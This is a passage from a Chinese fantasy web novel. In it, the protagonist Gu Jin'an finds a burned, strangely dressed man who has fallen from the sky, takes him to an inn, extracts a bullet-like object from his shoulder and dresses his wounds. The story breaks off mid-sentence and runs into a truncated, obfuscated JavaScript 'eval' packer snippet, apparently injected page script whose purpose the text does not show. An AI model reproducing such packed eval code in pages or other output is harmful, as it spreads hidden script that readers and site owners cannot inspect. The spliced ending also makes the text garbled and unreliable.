一次又成了靶心。
顾今安长年倒霉得已经学会下意识该做出什么应对反应了,他当即朝前掠去,顶着狂风把重物从树顶落下的声音抛在身后。
“咚”!!!!!
耀眼的红光在他身后炸开!
热浪太过猛烈,顾今安依旧被掀起来的狂风甩了出去!他赶紧用「念」护住身形重重撞到了石头上。
风声席卷落叶树枝哗然巨响鸣锣开道!
红光刺透密林,驱逐十里黑暗。
顾今安被照耀得睁不开眼。
数息后,红光熄灭,风声渐息,碎叶飘零。
森林上方“无极天”的漩涡也在一点点复原,汹涌的「念」徐徐平息。
方圆之内一派劫后余生的惨状。
顾今安狼狈地从落叶堆里站起身来,掸去身上落满的碎叶灰尘,仔细看向着这场风暴的中心,那落下来的重物似乎是……一个人!
一个人落下来能有这等威力??
他快步上前查看。越是靠近,一股焦灼的气味便越是浓烈。
难道是一具烧焦的尸体?
那人趴卧在地上一动不动,身型高大,长手长脚。
衣着打扮甚是古怪,穿着黑色短上衣,质感似乎并不柔软,其上还套着件看起来极硬的黑色马甲,腰上缠着古怪的长带,其上拴着几个皮革制的囊袋,背上也斜挎着一排不知用来装何物的排包。
衣服袖子破损,袒露出的手臂肌肉精壮结实,上面的烧伤混合着血和黑灰。
他下身是一条黑色裤装,依旧是顾今安不曾见过的样式,很宽大,上上下下全是可以储物的包,裤腿被一双靴子收紧,这靴子该是动物皮革做的——顾今安第一次见到制作得这般精致的皮质靴。
这人留着短发……烧没了?可烧得也太彻底了些,只剩短短一寸。
此人侧脸轮廓英俊,像大刀阔斧劈出来一般锋利深邃,如剑的浓眉紧锁着,睫毛也是浓黑,难道是胡人?——满脸污垢,不太能辨识。
顾今安就着手头蓝光蹲下身查看他的状态——还活着,但呼吸和脉象俱是微弱。
“还有意识吗?”顾今安轻轻推了推他。
那人并无回应。
从天上落下来的?顾今安抬头看去,此时“无极天”已经恢复了正常,徐徐流动,朗朗夜空,不知这人从何处而来。
这般阵仗,身份定然不简单。
顾今安简单检查了此人伤口,将他扶起来,这人体型极其高大,肌肉骨骼结实,顾今安差点被这人囫囵个压倒在地。
顾今安艰难扶稳他,心头想着那猛鬼怨鬼怕是追不上了,现下还是救人要紧。
*
相思林间一家破烂客栈。
顾今安费了好大一番周折,非得用上剪子才把这人一身奇装异服褪下。
此人伤得是真不轻。手腕脱臼,肋骨轻微骨裂,还有大大小小的淤青伤口。
肩头一个拇指大的咕隆不停往外冒血,顾今安给他止都止不住,观察半晌才发现那伤口眼里不知卡了什么东西,他用小刀割开伤口艰难地把里面那玩意儿挑了出来,挑得满头大汗。
顾今安满手血捏着那玩意儿端详,这是何物?铜弹子?还是黄金珠?有股烧焦的奇怪味道,没见过。
他随手把它放在一旁,用没沾血的手背擦了擦自己额头的汗珠,继续给这人处理。
这人伤口和内里的衣服黏在了一起,他小心翼翼一点点分开皮肉和衣物,到最后手都在抖,抽筋了。
此人的烧伤情况其实并不严重,只有手臂、腿部、后背几处,不知是不是天公怜惜这张俊脸,脸上只有些许小口子,倒没什么会留疤的大伤。
伤都处理了,顾今安开始给他擦拭血污。
不知这人干什么了,伤成这样,身上沾的都是烧灰和泥泞。
此人身材绝佳,穿衣只觉修长高大,脱.衣后又见肌肉精悍结实,宽肩窄腰长腿。该是从小习武之人。
顾今安猜测他的身份,护卫?镖人?侠客?
顾今安看向他的短发,他从未见过有人留这么短的头发,兴许他是异邦人?
顾今安有些好奇他头发是什么触感,想着的时候他已经伸手摸了摸,修长的手摩挲过短发,发丝扫过手心,触感刺刺的却又很软和,莫名很好摸。
好像不太礼貌。顾今安遗憾收回手,淘洗了一下擦过他身体已经染脏的巾帕。
巾帕在清水里一淘,清水瞬间变污水。
顾今安拉起他的手擦拭其上的焦灰污垢。这人的手是与其身量相符的宽大,手指长直,骨节突出,骨线明晰,血管蜿蜒上结实的小臂,指甲修剪得整齐没有藏污纳垢。
顾今安给他收拾妥当时,天都快亮了。
这人因为受伤在发着高烧,嘴唇也干裂了,顾今安用干净巾布沾了水润在他唇上,让他多少喝点。
顾今安累得不行,躺在他旁边要睡过去了,又担心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+'